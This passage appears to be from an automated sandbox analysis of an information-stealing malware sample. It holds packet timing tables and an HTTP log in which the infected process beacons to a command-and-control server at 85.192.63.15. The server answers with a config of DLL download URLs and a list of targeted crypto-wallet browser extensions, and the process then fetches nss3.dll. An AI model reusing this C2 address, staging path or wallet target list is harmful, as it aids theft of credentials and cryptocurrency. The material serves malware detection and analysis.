Apr 27, 2023 07:42:01.487723112 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.487759113 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.487804890 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.487853050 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.487870932 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.487890005 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.487936974 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.487937927 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.487983942 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.488030910 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.488035917 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.488066912 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.488070011 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.488141060 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.489526033 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.489577055 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.489623070 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.489650011 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.489661932 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.489691973 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.489788055 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.492676020 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.492724895 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.492758036 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.492798090 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.492801905 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.492837906 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.492877007 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.492960930 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.494457960 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.494493008 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.494541883 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.494599104 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.494611979 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.494642973 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.494656086 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.494690895 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.494692087 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.494724035 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.494766951 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.496021032 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.496057034 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.496100903 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.496134996 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.496148109 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.496185064 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.496189117 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.496257067 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.496290922 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.497752905 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.497802019 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.497848988 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.497848034 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.497884989 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.497932911 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.497992039 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.499495029 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.499543905 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.499578953 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.499594927 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.499624968 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.499646902 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.499663115 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.499686003 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.499728918 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.501216888 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.501252890 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.501297951 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.501342058 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.501348019 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.501378059 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.501388073 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.501418114 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.501460075 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.503211975 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.503258944 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.503304958 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.503340006 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.503341913 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.503387928 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.503441095 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.506017923 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.506097078 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.506143093 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.506179094 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.506197929 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.506305933 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.509275913 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.509325027 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.509358883 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.509404898 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.509442091 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.509450912 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.509480953 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.509485960 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.509533882 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.509560108 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.509598017 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.509644985 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.509676933 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.509679079 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.509716034 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.509718895 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.509762049 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.509787083 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.514504910 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.514560938 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.514601946 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.514609098 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.514632940 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.514646053 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.514676094 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.514713049 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.515805006 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.515841961 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.515887022 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.515899897 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.515932083 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.515979052 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.515984058 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.516033888 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.516097069 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.517503023 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.517540932 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.517585993 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.517637014 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.517647982 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.517667055 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.517682076 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.517714977 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.517740011 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.519258976 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.519306898 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.519351006 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.519386053 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.519449949 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.519449949 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.519493103 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.520908117 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.520953894 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.521009922 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.521022081 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.521035910 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.521058083 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.521085024 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.521120071 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.729275942 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.729340076 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.729463100 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:02.447881937 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:02.447978020 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:02.473325968 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:02.473377943 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:02.473409891 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:02.473474979 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:02.473509073 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:02.473545074 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:02.473578930 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:02.526865959 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:02.527105093 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:03.165402889 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:03.190922976 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:03.250803947 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:03.250942945 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:05.783643961 CEST	49697	80	192.168.2.3	85.192.63.15

HTTP Request Dependency Graph

85.192.63.15

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49697	85.192.63.15	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
Apr 27, 2023 07:41:53.096262932 CEST	0	OUT	POST / HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AYAYAYAY1337 Host: 85.192.63.15 Content-Length: 94 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 6d 61 63 68 69 6e 65 49 64 3d 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 7c 68 61 72 64 7a 26 63 6f 6e 66 69 67 49 64 3d 65 32 65 36 62 64 35 64 61 35 33 36 64 37 65 62 64 36 34 66 62 61 32 32 30 66 31 36 65 30 30 63 Data Ascii: machineId=d06ed635-68f6-4e9a-955c-4899f5f57b9a\|user&configId=e2e6bd5da536d7ebd64fba220f16e00c
Apr 27, 2023 07:41:53.245341063 CEST	1	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Apr 2023 05:41:53 GMT Content-Type: text/html; charset=utf-8 Content-Length: 6978 Connection: keep-alive Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Content-Security-Policy: default-src 'self';base-uri 'self';block-all-mixed-content;font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin X-DNS-Prefetch-Control: off Expect-CT: max-age=0 X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15552000; includeSubDomains X-Download-Options: noopen X-Content-Type-Options: nosniff Origin-Agent-Cluster: ?1 X-Permitted-Cross-Domain-Policies: none Referrer-Policy: no-referrer X-XSS-Protection: 0 ETag: W/"1b42-NH9vQEymd068lcrz19QXoanuPX8" Data Raw: 6c 69 62 73 5f 6e 73 73 33 3a 68 74 74 70 3a 2f 2f 38 35 2e 31 39 32 2e 36 33 2e 31 35 2f 61 4e 37 6a 44 30 71 4f 36 6b 54 35 62 4b 35 62 51 34 65 52 38 66 45 31 78 50 37 68 4c 32 76 4b 2f 6e 73 73 33 2e 64 6c 6c 0a 6c 69 62 73 5f 6d 73 76 63 70 31 34 30 3a 68 74 74 70 3a 2f 2f 38 35 2e 31 39 32 2e 36 33 2e 31 35 2f 61 4e 37 6a 44 30 71 4f 36 6b 54 35 62 4b 35 62 51 34 65 52 38 66 45 31 78 50 37 68 4c 32 76 4b 2f 6d 73 76 63 70 31 34 30 2e 64 6c 6c 0a 6c 69 62 73 5f 76 63 72 75 6e 74 69 6d 65 31 34 30 3a 68 74 74 70 3a 2f 2f 38 35 2e 31 39 32 2e 36 33 2e 31 35 2f 61 4e 37 6a 44 30 71 4f 36 6b 54 35 62 4b 35 62 51 34 65 52 38 66 45 31 78 50 37 68 4c 32 76 4b 2f 76 63 72 75 6e 74 69 6d 65 31 34 30 2e 64 6c 6c 0a 6c 69 62 73 5f 6d 6f Data Ascii: libs_nss3:http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dlllibs_msvcp140:http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dlllibs_vcruntime140:http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dlllibs_mo
Apr 27, 2023 07:41:53.245426893 CEST	3	IN	Data Raw: 7a 67 6c 75 65 3a 68 74 74 70 3a 2f 2f 38 35 2e 31 39 32 2e 36 33 2e 31 35 2f 61 4e 37 6a 44 30 71 4f 36 6b 54 35 62 4b 35 62 51 34 65 52 38 66 45 31 78 50 37 68 4c 32 76 4b 2f 6d 6f 7a 67 6c 75 65 2e 64 6c 6c 0a 6c 69 62 73 5f 66 72 65 65 62 6c Data Ascii: zglue:http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dlllibs_freebl3:http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dlllibs_softokn3:http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dllews_meta_e:ejb
Apr 27, 2023 07:41:53.245718002 CEST	4	IN	Data Raw: 45 78 74 65 6e 73 69 6f 6e 20 53 65 74 74 69 6e 67 73 0a 65 77 73 5f 6d 65 74 61 3a 6e 6b 62 69 68 66 62 65 6f 67 61 65 61 6f 65 68 6c 65 66 6e 6b 6f 64 62 65 66 67 70 67 6b 6e 6e 3b 4d 65 74 61 4d 61 73 6b 3b 4c 6f 63 61 6c 20 45 78 74 65 6e 73 Data Ascii: Extension Settingsews_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settingssstmnfo_System Info.txt:System Information: \|Installed applications:\|wlts_daedalus:Daedalus;26;Daedalus Mainnet;;log,cache,chain,dictionarwl
Apr 27, 2023 07:41:53.245769024 CEST	5	IN	Data Raw: 73 5f 69 63 6f 6e 65 78 3a 66 6c 70 69 63 69 69 6c 65 6d 67 68 62 6d 66 61 6c 69 63 61 6a 6f 6f 6c 68 6b 6b 65 6e 66 65 6c 3b 49 43 4f 4e 65 78 3b 4c 6f 63 61 6c 20 45 78 74 65 6e 73 69 6f 6e 20 53 65 74 74 69 6e 67 73 0a 65 77 73 5f 73 6f 6c 6c Data Ascii: s_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settingsews_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settingsews_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settingsews_polymes
Apr 27, 2023 07:41:53.245820045 CEST	7	IN	Data Raw: 67 6b 6a 6a 70 63 66 6a 63 6c 6d 63 66 67 67 66 65 66 64 6d 3b 4d 45 57 5f 43 58 3b 53 79 6e 63 20 45 78 74 65 6e 73 69 6f 6e 20 53 65 74 74 69 6e 67 73 0a 65 77 73 5f 74 6f 6e 3a 6e 70 68 70 6c 70 67 6f 61 6b 68 68 6a 63 68 6b 6b 68 6d 69 67 67 Data Ascii: gkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settingsews_ton:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settingsews_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settingsews_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;L
Apr 27, 2023 07:41:53.245867968 CEST	8	IN	Data Raw: 61 72 64 65 6e 3b 4c 6f 63 61 6c 20 45 78 74 65 6e 73 69 6f 6e 20 53 65 74 74 69 6e 67 73 0a 78 74 6e 74 6e 73 5f 6d 69 63 72 6f 73 6f 66 74 41 66 4c 3a 66 69 65 64 62 66 67 63 6c 65 64 64 6c 62 63 6d 67 64 69 67 6a 67 64 66 63 67 67 6a 63 69 6f Data Ascii: arden;Local Extension Settingsxtntns_microsoftAfL:fiedbfgcleddlbcmgdigjgdfcggjcion;Microsoft Autofill Local;Local Extension Settingsxtntns_microsoftAfS:fiedbfgcleddlbcmgdigjgdfcggjcion;Microsoft Autofill Sync;Sync Extension Settingsews_mart
Apr 27, 2023 07:41:53.245907068 CEST	9	IN	Data Raw: 65 77 73 5f 73 6c 6f 70 65 3a 70 6f 63 6d 70 6c 70 61 63 63 61 6e 68 6d 6e 6c 6c 62 62 6b 70 67 66 6c 69 69 6d 6a 6c 6a 67 6f 3b 53 6c 6f 70 65 20 57 61 6c 6c 65 74 3b 4c 6f 63 61 6c 20 45 78 74 65 6e 73 69 6f 6e 20 53 65 74 74 69 6e 67 73 0a 65 Data Ascii: ews_slope:pocmplpaccanhmnllbbkpgfliimjljgo;Slope Wallet;Local Extension Settingsews_trust:egjidjbpglichdcondbcbdnbeeppgdph;Trust Wallet Extension;Local Extension Settingsews_safepalext:lgmpcpglpngdoalbgeoldeajfclnhafa;Safepal Extension;Local
Apr 27, 2023 07:41:53.290328979 CEST	9	OUT	GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll HTTP/1.1 Content-Type: text/plain; User-Agent: AYAYAYAY1337 Host: 85.192.63.15 Connection: Keep-Alive Cache-Control: no-cache
Apr 27, 2023 07:41:53.362509012 CEST	10	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Apr 2023 05:41:53 GMT Content-Type: application/octet-stream Content-Length: 2042296 Connection: keep-alive Last-Modified: Mon, 11 Apr 2022 19:39:48 GMT ETag: "62548404-1f29b8" Expires: Thu, 27 Apr 2023 06:11:53 GMT Cache-Control: max-age=1800 Cache-Control: public Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f6 f1 39 62 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 e0 19 00 00 26 05 00 00 00 00 00 d0 01 15 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 60 1f 00 00 04 00 00 fd d1 1f 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 f8 21 1d 00 5c 9d 00 00 54 bf 1d 00 40 01 00 00 00 40 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 b8 1f 00 00 00 50 1e 00 68 0a 01 00 68 fd 1c 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 f0 c4 1d 00 5c 04 00 00 94 21 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 69 de 19 00 00 10 00 00 00 e0 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 e4 e9 03 00 00 f0 19 00 00 ea 03 00 00 e4 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 14 4e 00 00 00 e0 1d 00 00 2a 00 00 00 ce 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 30 1e 00 00 02 00 00 00 f8 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 40 1e 00 00 04 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 68 0a 01 00 00 50 1e 00 00 0c 01 00 00 fe 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL9b"!&`@A!\T@@xPhh\!@.texti `.rdata@@.dataN*@.00cfg0@@.rsrcx@@@.relochP@B
Apr 27, 2023 07:41:53.362588882 CEST	12	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: USWV]u~t@p0W~1HFDtx0W1^_[]1HFDUWVu3'u7=t
Apr 27, 2023 07:41:53.362669945 CEST	12	IN	Data Raw: 5d e9 07 00 Data Ascii: ]
Apr 27, 2023 07:41:53.362720013 CEST	13	IN	Data Raw: 00 00 cc cc cc cc cc cc cc 55 89 e5 57 56 83 e4 f8 83 ec 10 8b 45 14 8b 0d 14 e0 1d 10 31 e9 89 4c 24 0c 83 f8 03 73 32 8b 4d 10 8b 55 0c 8b 75 08 8d 7c 24 04 89 57 fc 89 0f 8b 4e 04 50 57 52 ff 71 18 ff 15 38 c7 1d 10 89 47 fc 83 f8 ff 74 33 8b Data Ascii: UWVE1L$s2MUu\|$WNPWRq8Gt34$\|$jh1NL$1pe^_]xtP51HD$$USWV]CECE +K1M4uGt'EH0jV
Apr 27, 2023 07:41:53.362772942 CEST	14	IN	Data Raw: 00 85 d2 0f 85 05 02 00 00 ff 81 40 01 00 00 eb 3b 8b 02 89 81 48 01 00 00 eb bd 8d 81 2c 01 00 00 89 45 dc 31 ff b8 80 00 00 00 66 83 b9 2c 01 00 00 7f 77 91 83 b9 28 01 00 00 00 0f 84 e6 01 00 00 80 79 53 00 0f 85 75 02 00 00 89 c2 57 e8 2f d7 Data Ascii: @;H,E1f,w(ySuW/MFB>1EE1UE\|ju7UD?u\|1u_DDDDLLD
